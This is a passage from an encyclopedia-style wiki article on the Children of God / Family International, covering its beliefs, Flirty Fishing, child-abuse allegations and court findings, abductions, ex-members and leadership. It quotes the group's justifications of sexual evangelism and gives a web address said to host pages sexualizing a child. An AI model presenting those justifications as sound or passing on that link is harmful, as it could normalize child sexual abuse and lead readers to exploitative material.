The group’s liberal sexuality and its publication and distribution of writings, photographs and videos advocating and documenting adult-child sexual contact and the sexualization of children led to numerous reports of sexual contact between adults and minors. A number of judicial and academic investigations in the 1990s found the Family to be a safe environment for children, yet such investigations have also highlighted troubles in its past. Family leadership, admitting only that some children were abused from 1978 until 1986, created policies prohibiting excessive discipline or any sexual contact between adults and minors. Those found to have abused children after December 1988 are [[Excommunication|excommunicated]] from Family membership.  The Family requires individuals who decide to report child abuse to a law enforcement agency or pursue any other legal action against an alleged abuser to leave the group entirely or, if the alleged abuser has been excommunicated for child abuse, to move to a lower commitment membership status until the matter is resolved.

The January 2005 murder of a former member by the leader's son [[Ricky Rodriguez]] (who had also left the group several years earlier) and his subsequent suicide shocked both members and former members, and led to considerable media attention.  

==Beliefs==
:''Main article: [[Beliefs of the Children of God]]'' 

Theologians have placed the Family's basic [[theology]] within the historical Christian tradition, along with some unorthodox beliefs. To some extent, they identify, and would be seen by most, as [[fundamentalist]] Christians, though some of their more radical beliefs and practices would certainly be regarded as non-traditional, even heretical, by most fundamentalist Christians, and indeed by most Christian theologians. 

The Family International states they believe the [[Bible]] to be the inspired Word of God and sacred revelation. [[David Berg]] is regarded as a [[prophet]] by them, in the understanding of one who passed on the message of God, not so much as a predictor of the future, though he frequently attempted to predict future events, for the most part inaccurately. They believe his &quot;mantle&quot; passed to his wife, Karen Zerby, at his death. They regard the officially published writings of both of them, but not everything they have written, as part of the ''Word of God''. While there is an understanding in the movement that all ''word'' is not on the same level of significance, nevertheless all ''word'' is important to read and take heed to.

They believe that the [[Great Commission]] of evangelizing the world is the duty of every Christian, and that their lives should be dedicated to the service of God and others. They have several levels of membership, and the most committed, &quot;Family Disciples,&quot; live communally. They also encourage the having of children. While birth control was initially highly discouraged, the choice is currently left to the individual and is not uncommon in practice.

A central tenet to their theology is the &quot;Law of Love,&quot; that, simply stated, maintains that if a person's actions are motivated by unselfish, sacrificial love and are not intentionally hurtful to others, such actions are in accordance with Scripture and are, thus, lawful in the eyes of God. They believe that this tenet supersedes all other biblical laws, except the ones forbidding male homosexuality, which they believe is an abomination. They believe that God created [[human sexuality]], that it is a natural, emotional, and physical need, and that [[heterosexual]] relations between consenting adults of legal age is a pure and natural wonder of God's creation, and permissible according to Scripture. Adult members may have sex with any other adult member of the opposite sex. Teenagers from the age of 16 are also allowed to have sex with other members under age 21. Since 1986, sex between minors and adults is strictly forbidden. Family members are strongly encouraged to have sex with any member who may be in need, commonly called &quot;sharing&quot; or &quot;sacrificial sex&quot;. No one is pressured to have sex against their will, but members who do not &quot;share&quot; are considered selfish and unloving.

In common with other apocalyptic and millenarian movements, they believe that they are now living in the time period known in Scripture as the &quot;[[Last Days]]&quot; or the &quot;Time of the End,&quot; which is the era immediately preceding the return of Jesus Christ. Before that event, they believe that the world will be ruled for seven years by a man known as the [[Antichrist]], who will create a one-world government. At the half-way point in his rule he will become completely possessed by [[Satan]], precipitating a time of troubles known as the [[Great Tribulation]] which will bring intense [[persecution]] of Christians as well as stupendous natural and unnatural disasters. At the end of this period, faithful Christians will be taken to heaven in an event known as the [[Rapture]] that is shortly followed by a battle between Jesus and the Antichrist commonly known as the &quot;Battle of [[Armageddon]]&quot;, in which the Antichrist is defeated. Jesus Christ reigns on Earth for 1000 years, a period they call the Millennium.

The Family's official statement of their beliefs can be found here: [http://www.thefamily.org/dossier/statements/faith.htm]

===Recent Teachings===
The Family's recent teachings center around beliefs that they have termed the &quot;new [spiritual] weapons.&quot; The Family believes that they are soldiers in the [[spiritual warfare|spiritual war]] of [[Conflict Between Good and Evil|good versus evil]] for the souls and hearts of men. Although some of these beliefs are not new to the Family, they have assumed greater importance in recent years. These include:

[[Prophecy]]: In Family jargon, the traditional definition of ''prophecy''&amp;mdash;a prediction of the future&amp;mdash;has been expanded to refer to any message received from the &quot;spirit world&quot; from Jesus, deceased founder David Berg, or another &quot;spirit helper&quot; (see below). A great emphasis has been placed on each member using prophecy directly and regularly to guide their daily lives. Although prophecy, also referred to as &quot;[[channeling]],&quot; has been a part of the movement from the beginning, it has assumed greater significance in recent years. It has been noted by scholars that the Family is unique among new religious movements in its decentralization and democratization of divine guidance from God.

Spirit Helpers: These include [[angel]]s, departed humans, and even famous fictional characters, eg. Don Quixote, who are sent to give instruction and to fight in the spiritual warfare taking place in the spiritual dimension that Family members believe is coexistent with the physical world that surrounds them. These helpers are believed to relay the divine messages they receive in prophecy and also are engaged in spiritual combat with [[Satan]] and his demons.

The Keys of the Kingdom: The Family believes that the keys referred to in the Biblical passage &quot;and I will give you the keys of the kingdom of heaven, and whatever you bind on earth will be bound in heaven, and whatever you loose on earth will be loosed in heaven&quot; (Matthew 16:19), have assumed greater significance today. As such, Family members call on the various Keys of the Kingdom for supposed extra effect during prayer. These keys are also believed to power various spacecraft, and can magically turn into swords for the purpose of fighting spiritual demons.

[[Loving Jesus]]: This is a term that members of the Family use to describe their intimate, sexual relationship with [[Jesus]]. The Family describes the &quot;Loving Jesus&quot; teachings as a radical form of [[bridal theology]] [http://www.thefamily.org/dossier/statements/lj.htm]. It is their understanding of the Scriptures that the followers of Christ are His bride, called to love and serve Him with the fervor of a wife. They take bridal theology a step further than most Christians have by encouraging members to imagine that Jesus is having sex with them during sexual intercourse or masturbation. Male members are told to visualize themselves as women &quot;in the spirit&quot;, in order to avoid a homosexual relationship with Jesus.

The Family continues to stress the imminent [[second coming|Second Coming of Christ]], preceded by the rise of a worldwide government led by the &quot;Antichrist&quot;. These doctrines regarding the &quot;[[End times|End Time]]&quot; influence virtually all long-term decision making.

==History==
===The Children of God (1968-1977)===
The founder of the movement was a former [[Christian Missionary Alliance]] pastor, [[David Berg|David Brandt Berg]] (1919-1994), also known within the group as Moses David, Mo, Father David, and Dad to adult group members and eventually as Grandpa to the group's youngest members. 

Members of the Children of God founded [[Intentional Community|communes]], first called &quot;colonies&quot;, but now referred to as &quot;Homes,&quot; in various cities around the world. They would [[proselytism|proselytize]] in the streets and distribute literature. New converts who joined the movement memorized [[scripture]], went through a course of Bible knowledge classes, and were expected to emulate the lives of early Christians while rejecting mainstream denominational Christianity. (See [[religious conversion]]) 

In common with converts to some other religions, and in keeping with Biblical custom, most incoming members adopted a [[name change|new &quot;Bible&quot; name]].

Berg communicated with his followers through his more than 3,000 published letters written over 24 years, referred to as &quot;Mo Letters&quot; by members of the group. By January 1972 David Berg introduced through his letters that he was God's prophet for this time, further establishing his spiritual authority within the group. Nonetheless, Berg freely acknowledged his failings and weaknesses.&lt;ref&gt;Chancellor, James (2000). &quot;Life in The Family:  An Oral History of the Children of God&quot;. ''University of Syracuse Press'', Syracuse, NY. pp. 64-67&lt;/ref&gt;

Up to the end of 1972 COG members had distributed approximately 42 million Christian tracts, mostly on God’s Salvation and America’s doom. Street distribution of Berg’s Letters (called &quot;litnessing&quot;) became the COG's predominant method of outreach--as well as support--for the next five years.

The Children of God ended as an organizational entity in February 1978. Reports of serious misconduct, financial mismanagement, and abuse of their positions by a number of the established leaders, including the opposition of some to FFing ([[Flirty Fishing]]), caused Berg to reorganize the movement. He dismissed over 300 of the movement’s leaders and declared the general dissolution of the then existing COG structure. This shift was known as the &quot;Reorganization Nationalization Revolution&quot; (RNR). A third of the total membership left the movement, and those who remained became part of the reorganized movement, dubbed the &quot;Family of Love,&quot; and later, simply the &quot;Family.&quot; Most of the group's beliefs remained the same. &lt;ref name=Origins&gt; ''[http://www.thefamily.org/dossier/statements/origins.htm The Origins of a Movement: From &quot;The Children of God&quot; to &quot;The Family International&quot;]'', found on the official website&lt;/ref&gt;

===The Family of Love (1978-1981)===
The Family of Love era was characterised by movement of Family members into more countries. Regular witnessing methods included door to door, giving out tracts and other gospel literature, classes which included Family music as well as classes on various aspects of the Christian life. 
 
In 1974, David Berg introduced a new witnessing method called [[Flirty Fishing]] (or FFing), which allowed female members to physically express God's love by engaging in sexual activity with potential converts. It began as an experiment started as early as 1973 by members of Berg's inner circle and was eventually introduced to the rest of the membership.  By 1978, it was more widely practiced by members of the group. In some areas, Flirty Fishers used escort agencies to meet people. As in other witnessing methods, people who were reached through FF'ing supported the movement generously. Even though FF'ing was practised for a relatively short length of time, several people who were FF'd remain friends, supporters and well wishers to this day.

According to the Family, as a result of Flirty Fishing, ''&quot;over 100,000 received God's gift of salvation through Jesus, and some chose to live the life of a [[disciple]] and [[missionary]].&quot;''&lt;ref name=Origins/&gt; According to data provided by the Family to researcher Bill Bainbridge, from 1974 until 1987 Family members had sexual contact with 223,989 people while practicing Flirty Fishing.&lt;ref&gt;Bainbridge, William Sims (1996). &quot;The Sociology of Religious Movements&quot;. ''Routledge''. ISBN 0-4159-1202-4. pg 223&lt;/ref&gt; Flirty Fishing also resulted in the birth of many children, including Karen Zerby's son, Davidito (aka Rick Rodriguez). Children born as result of Flirty Fishing were referred to as &quot;Jesus Babies&quot;. By the end of 1981, over 300 &quot;Jesus Babies&quot; had been born. 

In an official statement on its origins, the Family International partly describes the practice of Flirty Fishing as follows:

&lt;blockquote style=&quot;padding: 1em; border: 2px dotted green;&quot;&gt;
In part as a response to the sexual liberality of the early '70s, Father David presented a more intimate and personal, voluntary form of evangelism, which became known as &quot;Flirty Fishing&quot; or &quot;FFing.&quot; ...Father David proposed that the boundaries of expressing God's love to others could at times go beyond just showing kindness and doing good deeds. He suggested that for those who were in dire need of physical love and affection, even sex could be used as evidence to them of the Lord's love. The motivation, guiding principle, and reasoning behind the FFing ministry was that through this sacrificial proof of love, some would better accept and understand God's great love for them. The goal was that they would come to believe in and receive God's own loving gift of salvation through His Son, Jesus, who gave His life for them. By this unorthodox method David felt many would find the Lord's love and salvation, who never would have otherwise.
Although we no longer practice FFing, we believe the scriptural principles behind the ministry remain sound. &lt;ref name=Origins/&gt; &lt;/blockquote&gt;

In his judgment of a child custody court case in England in 1994, after extensive research of Family publications and the testimony of many witnesses, The Lord Justice Ward said this about FFing:

&lt;blockquote style=&quot;padding: 1em; border: 2px dotted green;&quot;&gt;
I am quite satisfied that most of the women who engaged in this activity and the subsequent refinement of ESing, (which was finding men through escort agencies), did so in the belief that they were spreading God's word. But I am also totally satisfied that that was not Berg's only purpose. He and his organization had another and more sordid reason. They were procuring women to become common prostitutes. They were knowingly living in part on the earnings of prostitution. That was criminal activity. Their attempts to deny this must be dismissed as cant and hypocrisy. To deny that the girls were acting as prostitutes because &quot;we are not charging but we expect people to show their thanks and their appreciation and they ought to give more for love than if we charged them&quot; is an unacceptable form of special pleading. The &quot;FFers handbook&quot; told the girls that fishing could be fun but fun did not pay the bills. &quot;You've got to catch a few to make the fun pay for itself. So don't do it for nothing.&quot;&lt;ref name=Origins/&gt; &lt;/blockquote&gt;

A judge in Italy came to a very different conclusion in 1991, deciding that flirty fishing was not prostitution (see Tribunale Penale di Roma (Criminal Court of Rome), November 15, 1991, In re Berg and others, and in the archives of the Criminal Court of Rome (RG 3841/84):

The judges concluded that it was only in &quot;the last months of 1977 Berg started counseling the members that it was permissible for proselyting reasons to offer sexual contacts and services to perspective [sic] members, the more so when the latter were potentially good financial contributors to the cult.&quot;  Among the Children of God, the judges argued, flirty fishing was not understood as prostitution but &quot;as a personal contribution to the humanitarian aims that the sect always claimed to pursue.&quot;

The practice of [[Flirty Fishing]] or &quot;FFing&quot; was officially abandoned in 1987 in favor of other [[Evangelism|witnessing]] methods and also to avoid contracting [[AIDS]]. In 1987, new rules were introduced that banned, under penalty of [[excommunication]], sexual contact with non-members. However, the new rules also stated that exceptions to the rule would be allowed in certain cases. For example, one publication stated: &quot;All sex with outsiders is banned!--Unless they are already close and well-known friends!&quot; [http://www.exfamily.org/pubs/ml/b5/ml2531.shtml]

===The Family (1982-1994)===
By 1982 more Family members had moved to southern and eastern parts of the world and by the end of 1983 the Family was reporting 10,000 fulltime members living in 1,642 Family Homes. In addition the Music With Meaning radio club had by this time grown to almost 20,000 members. The Family also stated that at this time witnessing efforts were resulting in an average of 200,000 conversions to Christ and distribution of nearly 30 million pages of literature per month.

Berg's writings contributed to suspicions about the movement's care of their children, because of his challenging of modern-day taboos in Western society about adult/child sexuality. Some individuals do not believe that Berg merely questioned society's boundaries&amp;mdash;they believe he ignored them. Several women have publicly accused Berg of molesting them as children, including his eldest daughter [[Deborah Davis]], his granddaughter [[Merry Berg]], another of his granddaughters, [[Joyanne Treadwell Berg]], and [[Davida Kelley]], a child who had grown up in his household. 

A childcare manual published by the group in January of 1982 described the education, home life, and care of the son of [[Karen Zerby]], known as Davidito or [[Ricky Rodriguez]]. The 700-page book also included a dozen or so photographs depicting the child engaged in sexual play with his governesses, particularly Sara (also known as Sara Davidito, Sara Kelley, or Prisca Kelley). This book was removed from circulation and reprinted without the offending pages. Some pages from the original edition have been posted on the Internet Story Of Davidito [http://www.xfamily.org/index.php/Story_of_Davidito]. Some claim that the publication of this book led to similar sexualization of children throughout the group.

By 1988, reports of sexual abuse began to filter up to the top of the Family's leadership. This prompted Berg to renounce his ideas regarding adult/child sex, writing: ''&quot;We do not approve of sex with minors, and hereby renounce any writings of anyone in our Family which may seem to do so! We absolutely forbid it! — Moses David 12/88&quot;'' &lt;ref name=&quot;Child Abuse?!&quot;&gt;[http://www.xfamily.org/index.php/Child_Abuse%3F%21 Child Abuse?!] (March 1989) (Hosted by [http://www.xFamily.org xfamily.org])&lt;/ref&gt;

In March 1989, the Family issued a statement which stated that, in &quot;early 1985&quot; an urgent memorandum was sent to all of its members ''&quot;reminding them that any such activities [adult-child sexual contact] are &lt;u&gt;strictly forbidden&lt;/u&gt; within our group.&quot;''&lt;ref name=&quot;Child Abuse?!&quot;/&gt; (emphasis in original). In January 2005, Claire Borowik, spokesperson for the Family International, issued a statement that said, &quot;Due to the fact that our current zero-tolerance policy regarding sexual interaction between adults and underage minors was not clearly stated in our literature published before 1986, we came to the realization that during a transitional stage of our movement, from 1978 until 1986, there were cases when some minors were subject to sexually inappropriate advances... This was corrected officially in 1986, when any contact between an adult and minor (any person under 21 years of age) was declared an excommunicable offense.[http://www.newdaynews.com/resource/davidito/borowick-01.htm]&quot;

In December 1988 the Family implemented a policy that forbade adult-child sexual contact on penalty of permanent excommunication (expulsion from the movement). This policy was not retroactive. The Family, as a religious movement, does not take the place of civil authorities when it comes to the investigation of alleged crimes. Individuals, or parents of minors, who have a complaint may take their case to the relevant authorities. Because of the impact such an investigation could have on the lives of other children living in the communal Home, members who file charges or pursue other legal action against those excommunicated for child abuse are expected to temporarily leave the Family or move to a different membership status, explained in the June 2003 Charter amendments&lt;ref name=&quot;Charter Amendments&quot;&gt;Charter Amendments, June 2003 ([http://www.xfamily.org/images/c/c5/CharterAmendments.pdf pdf]) (Hosted by [http://www.xFamily.org xfamily.org])&lt;/ref&gt; in the Rights of Children (pg. 22) and the Right of Redress (pg. 51) sections.

In the 1990s, allegations of sexual abuse were laid against The Family in different locations worldwide, including [[Argentina]], [[Australia]], [[Brazil]], [[France]], [[Italy]], [[Japan]], [[Norway]], [[Peru]], [[Spain]], [[Sweden]], the [[United Kingdom|UK]], the [[United States|USA]], and [[Venezuela]] (see links below). The Family leadership has maintained that they did not sanction or condone the sexual abuse of children, and that government-led investigations and court cases did not find evidence of abuse in the 750 children they examined. An outline of some court cases, selected excerpts of some court rulings, newspaper editorials and other material that supports the group's positions can be found at [http://www.cesnur.org/testi/TheFamily/se_thefamily.htm]. Some actual court documents can be found in the [[Children_of_God#Court_cases|Court Cases]] section below. 

The Family has issued apologies. Karen Zerby, writing in the Letter &quot;An Answer to Him That Asks&quot; in 1995 stated: &quot;Because of the insight Dad [Berg] gave into the Scriptures which granted us a great deal of sexual freedom, without clearly stated explicit restrictions that prohibited all sexual activity between adults and minors, it resulted in actions that caused harm to some children. He must therefore bear responsibility for the harm.  ... As the author of the Letters, he accepts the blame, but this doesn't mean that everyone else is completely blameless. Anyone who attempted to use the Law of Love to justify any unloving, selfish or hurtful behavior is responsible before God for it.&quot;

According to [[Eileen Barker]]'s book ''An Introduction to New Religious Movements'', the group has been acquitted of all charges of sexual abuse of children. Other researchers have concurred that there is no evidence of greater sexual activity amongst teenagers in the Family than in society at large. &lt;ref&gt;Vogt, Nancy R. &quot;Correlates of Adolescent Sexual Activity in the Family&quot;, Graduate School of Psychology, Fuller Theological Seminary.&lt;/ref&gt;

====Family transformation in the 1990s====

In the early 1990s, alongside many other religious groups, Family members took advantage of the newly opened Eastern Europe (following the fall of communism) and expanded their evangelisation campaigns eastward. The production and dissemination of millions of pieces of Gospel literature earned them the colloquial name &quot;the poster people.&quot; 

The early 1990s also saw the launch of what the Family terms their &quot;Consider the Poor&quot; (CTP) ministries. Expanding their outreach beyond witnessing, members began reaching out a helping hand in material ways to the poor and disadvantaged. Family members became active in disaster relief efforts, the provision and distribution of humanitarian aid, musical benefit programs for refugees, visitation to hospitals, and so on.

===The Family (1995-2003)===
After Berg's death in October 1994, [[Karen Zerby]], known in the group as Mama, Queen Maria, Maria David or Maria Fontaine, took over leadership of the group. She then married her longtime coworker, [[Steven Douglas Kelly]], an American also known as Christopher Smith, Peter Amsterdam, or King Peter. He became her traveling representative due to Zerby's [[Recluse|reclusive]] separation from most of her followers.

In February of 1995, the group introduced the Family Charter [http://thefamily.org/dossier/charter/overview.htm], consisting of the &quot;Charter of Responsibilities and Rights,&quot; which defined the responsibilities which Charter Members, Homes and leadership were expected to live up to as the standard of discipleship and the rights of Charter members and of the Charter Home. Following that was the &quot;Fundamental Family Rules,&quot; which was a summary of all rules and guidelines from past Family publications which were still in effect with the enactment of the Charter.

The Charter set forth a new way of living within the organization--that of allowing members to operate according to their own faith and according to their desires. The rights referred to in the Charter were what a member could expect to receive from the group and how members were to be treated by leadership and fellow members. The responsibilities referred to were what members were expected to give to the group if they wished to remain full-time members, including [[tithe|tithing]] ten percent of their income to World Services, giving three percent to the &quot;Family Aid Fund,&quot; which was set up for the sole purpose of helping and supporting needy field situations worldwide, and one percent to the Home's regional common pot, which was used for local projects, activities, and fellowships.

The Charter also provided that it or any part of it could be revoked at any time by World Services if the need was to warranted it. The Charter, presently in its second edition, has been subsequently amended over the years according to the growing and changing needs of the movement.

In a 1995 court case, [[The Right Honourable|the Rt Hon.]] Lord Justice Ward decided that the group, including some among its top leadership, had engaged in abusive sexual practices involving minors and that they had also engaged in severe [[corporal punishment]] and sequestration of minor children. However, he concluded that the Family had abandoned these practices and that they were a safe environment for children. Nevertheless, he did require that the group cease all corporal punishment of children in the United Kingdom and denounce any of Berg's writings that were &quot;responsible for children in the Family having been subjected to sexually inappropriate behaviour.&quot;

The group has publicly renounced any doctrine that alluded to encouraging sex between adults and minors. This was made clear in an internal publication issued by Karen Zerby in 1988, where she stated, “We've already put out an urgent notice to the Family &amp; to the whole world that we don't do such things, and we mean it, we don't do it!--And anybody [in the Family] who does is in serious trouble, not only with the world but with us! … If we hear of anybody who violates these rules, we're going to immediately excommunicate them!” [Child Abuse—1988]

This renunciation was later argued by some, using what Family leader Karen Zerby said, as quoted from “Summit '93, Mama Jewels #2,” 1992 [http://www.geocities.com/magicgreenshirt/downloads/sj_pg19.gif], when she brought the subject of loving affection between adults and children up for discussion only at a leadership conference in 1992. Regardless, Family policy remained unchanged and offenders are excommunicated.

===The Family International (2004-present)===

In 2004 the movement's name was changed to the Family International. However Homes were told that they could retain their former names with the proviso that they make clear they are affiliated with the Family International.

In 2004 there were major internal changes in the group. Documents of the group talk about arresting a general trend to a less dedicated lifestyle and the need to be recommitted to the group's general mission of fervently preaching the Gospel. In the second half of 2004 they held a six-month renewal period to help members refocus their priorities. Membership was reorganized and new levels of membership were introduced. Members now fall into the following categories, Family Disciples, Missionary Members, Fellow Members, Active Members, and General Members.

The [[Family Discipleship Charter]], also known as the Family’s Charter, governs Family disciples, but the [[Missionary Member Statutes]] and the [[Fellow Member Statutes]] were written for the governance of the Family’s Missionary member and Fellow member circles, respectively. Homes of Family Disciples now work to newly annunciated set of criteria on which they are reviewed every six months.

At the beginning of 2005 there were 1,238 Family Homes and 10,202 members worldwide. Of those, 266 Homes and 4884 members were FD, 255 Homes and 1,769 members were MM, and 717 Homes and 3,549 members were FM. Statistics on AM and GM categories are currently unavailable.

===Issues===
====Child Abduction====
: ''Main article: [[Child Abduction in the Children of God]]''

Since the late 1970s, there have been increasing reports of children of former members being abducted and moved to other countries to prevent their parents, law enforcement authorities and child welfare agencies from finding them.  An investigation into the whereabouts of four missing children, whose mother, Ruth Frouman [http://www.xfamily.org/index.php/Ruth_Frouman], was expelled from the group in July 1987, eight months after being diganosed with breast cancer, and not allowed to leave with her children, resulted in police raids [http://www.xfamily.org/index.php/Legal_Case_Argentina%2C_1993] on 10 Family Homes in Buenos Aires, Argentina in September 1993.[http://www.xfamily.org/index.php/Tribunal_de_Menores_de_Mercedes_-_Case_number_32.202]. Two of her children were returned to their father in May 1993. The other two abducted children were not reunited with their father and their other relatives until mid-1997. 

However, there have also been reports of parents taking their children out of the Family without the other parent's consent and instead resolving the custody dispute in the judicial system. For example, in 1992 the  spouse of Grant Borowick, brother of Family International spokesperson Susan Claire Borowik, left the Family and in 1993 returned with three male relatives to take her children back to her hometown of Salta, Argentina. According to news reports, Grant Borowick spent six months trying to obtain visitation rights through Argentine courts. [http://www.xfamily.org/index.php/Hamilton_Spectator:_Cult_includes_brother_of_suspect_woman] It is unknown whether he was successful.

Although official Family spokespersons have rarely made any public statements about specific [[child abduction]] cases involving its members, members of the Family claim that there is some evidence that the Family's policies and practices regarding child abduction and child custody began to change in the mid-1990s. In February 1995, several months after the death of its founder, the Family introduced to its members a rule book known as the ''Love Charter'' or the ''Charter of Rights and Responsibilities''. Section 60, ''Permanent Marital Separation Rules'', states that couples with children must come to a mutual written agreement regarding the separation and the custody of the children and that obtaining a legal divorce and child custody order is optional.[http://www.xfamily.org/images/2/2d/Charter.pdf] This policy stated that it only applied to marital separations after February 1995. The June 2003 amendments state that if the parties involved cannot reach a mutual agreement and  &quot;opt to use the court system to settle the matter,&quot; they must &quot;relinquish Charter membership until the matter is settled.&quot;&lt;ref name=&quot;Charter Amendments&quot;/&gt;

At least one Family member, Peter Bevan Riddell, is known to have been convicted of child abduction. In 1984, he was convicted of child kidnapping and forgery in Japan and deported to Australia. After his release from prison, he returned to the Family to work for David Berg and Karen Zerby in World Services.[http://www.xfamily.org/index.php/Peter_Bevan_Riddell] Another Family member, Brian Edward Pickus, has been wanted for decades on an Interpol warrant issued by the United States and the state of Hawaii for kidnapping, burglary and unlawful flight to avoid prosecution.[http://www.xfamily.org/index.php/Brian_Edward_Pickus_-_Argentina_Extradition_Case]

====The second generation====
Second-generation adults, those adults who were born and/or raised in the Family International and are known in the movement as &quot;SGAs,&quot; have assumed many if not the majority of the leadership positions in the organization. This includes the chairmanships of many of the international, regional, and national boards.  

Yet as with other high-commitment religious groups, many second-generation members of the group have left to pursue secular careers, get a tertiary education, and raise their children in a drastically different environment than the one they were raised in. There is a great deal of anti-Family sentiment amongst some of those who have left, including threats to legally pursue alleged physical and sexual abusers, whom, some allege, have been shielded from prosecution by the group's leadership. 

The Family International has asserted that most former second-generation members have chosen to remain publicly silent about their experiences, and that the public silence of this group indicates that the vast majority of them have cordial relations with those still in it. It claims there is ample firsthand and [[anecdotal evidence]] to support this assertion. Many former second-generation members have publicly complained of negative experiences in the group.

As former [[Missionary Kids|missionary kids]], the second generation of former members have now become adults. Many have returned to the country of their citizenship and have, thus, become [[Third Culture Kids]] (TCKs). Many of the former second-generation members have kept in communication with each other. A notable example of this is their use of the site, MovingOn.org &lt;ref name=MovingOn&gt;[http://www.movingon.org/ MovingOn.org] - Community site for former second generation members of The Family&lt;/ref&gt; established by a former second-generation member in 2001. 

Those who have remained in the group have chosen to continue the missionary work of their parents and have been vocal in their defense of the Family lifestyle at MyConclusion.com&lt;ref name=MyConclusion&gt;[http://www.myconclusion.com MyConclusion.com] - Opinions and responses by current second-generation members with positive viewpoints about The Family&lt;/ref&gt;, a site established by second-generation members of the Family International shortly after the January 2005 murder-suicide of [http://www.rickyrodriguez.org Rick Rodriguez] and [http://www.angela-smith.org Angela Smith].
 
Members of the Family International are encouraged to maintain friendly relations with relatives who have left. However, they are also discouraged from associating with relatives that are considered active enemies of the Family. Some former second generation members have found it difficult to maintain friendly relations with their relatives still in the Family when their parents and siblings have appeared on televion programs around the world to denounce them as mentally unstable liars in the pay of the anti-cult movement. 

There are many former second generation members that have reported crimes to law enforcement agencies, have testified against the group in court cases involving its members, and publicly express negative opinions about the group's members and practices. The Family uses the sociological/religious term [[apostates]] to describe these ex-members and has argued that their testimony is unreliable and less credible than that of current members.  The Family has also argued that second generation members who alleged they were abused in the group are liars, mentally unstable or demon-possessed and that the anti-cult movement paid them large sums of money to tell lies about the Family. Some of the second generation of former members resent the apostate label, as most of them never chose to join this group in the first place (they were born into it) and, thus feel they cannot rightly be called apostates.

====Relationship with government authorities====
Family members are expected to respect the legal and civil authorities of the countries in which they live, in keeping with the biblical admonitions of Romans 13. Members may choose to use their adopted religious name in every day life, rather than their legal name.  

In sociological terms, the movement exists in high tension with the surrounding environment. Yet, members have consistently shown their peaceful cooperation with the duly appointed authorities, even when provoked by police and social service raids of their communities in the early 1990s. &lt;ref&gt;Bainbridge, William Sims (2002). &quot;The Endtime Family: Children of God&quot;. ''State University of New York Press'', Albany, NY.&lt;/ref&gt;

====Secrecy====
A consistent trait throughout the history of The Family has been the high value they have placed on their independence and privacy from what they term the &quot;System&quot;—the surrounding political and economic environment. This has led to secrecy surrounding leadership and finances. World Services (WS), the central administrative wing of The Family, continues to operate in seclusion, with very few members of The Family actually knowing their whereabouts. 

Some members have legally changed their names. There have been allegations that members of the Family, including senior leaders, have used forged or fraudulently obtained passports and other identity documents from Australia, Canada, the United States and other countries.

Senior leadership also typically still attempt to keep their legal names from common circulation, although this has became more difficult through the second half of the 1990s, due to legal action in many countries. In particular, a major court case in England brought to light many formerly guarded names of senior members.

In The Family's publications printed photographs of WS members were typically &quot;censored&quot; by means of a rudimentary pencil drawing pasted over the person's face. It was not uncommon in Family-produced art for Berg's head to be replaced with that of a hand-drawn lion.

Following the death of David Berg in 1994, all members of The Family and the public were finally allowed to see up-to-date photographs of the organization's late founder. For many members this was the first time they had ever seen a photograph of his face. In recent years, Steven Kelly has carried pictures of Karen Zerby with him on travels to show members, since most have never seen a picture of their spiritual leader prior to this.

Although, by now, most of the group's members will have seen photographs or video footage of Karen Zerby and Steven Kelly, their identities and location are still heavily guarded by those members working closest to them. Recent photographs or video footage of Karen Zerby, Steven Kelly, and most WS members are not readily available even to fulltime members of The Family. Some may argue that it is unique that the organization's leadership neither seeks the limelight, nor lives at a higher standard than the rank and file, which is often not the case with other religious leaders and organizations.

====Finances====
Family finances are based on a system of [[tithe|tithing]]. Ten percent of all income for all members is required to be donated to World Services. A further three percent, typical in every region, is to be donated to the regional offices for locally administered projects and a community lending program. A further one percent is given for regional literature publishing.

A study of how The Family channels funds around the world is very interesting from a sociological angle since it depends largely on trust of carefully placed non-senior members who typically manage bank accounts in their own names that contain organization funds. Surprisingly, very little graft has been experienced, and the notable cases involved insubstantial amounts of money.

Organization literature includes many discussions of impending world financial doom. The Family as a result has gone to considerable lengths to avoid investments and actions that it deems unstable in the event of a world financial crash. Typically, they store any reserves in Japanese Yen, Swiss Francs, or gold.

The Family has consistently avoided property investments and stocks or bonds, believing them to be contrary to the scriptural requirements for Christian discipleship and their [[End times|End time]] beliefs.

==Criticism==
The group has often and heavily been criticized by the press and the [[anti-cult movement]]. In 1971, an organization called [[FREECOG]] was founded by concerned family members of followers, including [[deprogramming|deprogrammer]] [[Ted Patrick]], to &quot;free&quot; them from their involvement in the group.

Frequently, critics of the movement cite the writings of David Berg and/or specific incidents and behavior of certain individuals, including members of the leadership. Family members meanwhile argue that the entire volume of writings of Father David do not reflect either the fundamental beliefs (contained in the &quot;Statement of Faith&quot;) or the organization's policies (contained in the Charter, published in 1995). Likewise, they reject the concept of the entire group being blamed for the alleged wrongdoing of individuals. 

The controversy over the movement has generated strong feelings in both current and ex-members. An example of the contrasting interpretations of Family life can be seen in the accounts of second generation members: former members at [http://www.movingon.org/abuse.asp Movingon.Org] and (mostly) current members at MyConclusion.com&lt;ref name=&quot;MyConclusion&quot;/&gt;.

==Notable members (past and present) ==
Actors [[River Phoenix]], [[Joaquin Phoenix]], [[Summer Phoenix]], [[Rain Phoenix]], and [[Rose McGowan]] were members of the group during their childhood. Renowned [http://www.fleetwoodmac.net/penguin/rrhof.htm] [[blues]] [[slide guitar|slide guitarist]] [[Jeremy Spencer]] [http://jeremyspencer.com/], a founding member of [[Fleetwood Mac]], has been a member of the group since 1971. Comedian [[Tina Dupuy]] [http://www.tinadupuy.com] was also a member, and now mentions her childhood in the group in her act.

==Statistics==

According to the Children of God, there were 130 [[Intentional Community|communes]] or &quot;colonies&quot; in 15 countries in 1972. In 1993, 7,000 of the 10,000 members were under 18 years of age.  Recent statistics by The Family International puts full-time and fellow members at just over 11,200 in over 100 countries (around 4,000 adult full-time members and 4,000 children). Some estimates have placed the total number of people that have passed through the group at 35,000.

==Programs, projects, and productions==
:''Main article: [[Programs, projects, and productions of the Children of God]].''

The Family International (as the group calls itself today) or The Family International Fellowship has various programs through which it operates. The main ones include ''Family Care Foundation'' (FCF), ''Aurora Productions AG'', and [[Activated Ministries]]. However, the group has many other local foundations and projects in various countries throughout the world.

==Leadership, Regional Offices, and Management==
:''Main article: [[Leadership and Management of the Children Of God]].''
The leadership of The Family International is headed by:
* Karen Elva Zerby
: - spiritual leader of The Family International
: - American
: - legally changed her name ''to'' Katherine Rianna Smith, 4-Nov-1997
: - Aliases: Maria, Mama, Maria Fontaine, Maria David, Maria Berg, or Queen Maria
* Steven Douglas Kelly
: - head-leader of The Family International
: - American
: - legally changed his name ''to'' Chris Smith
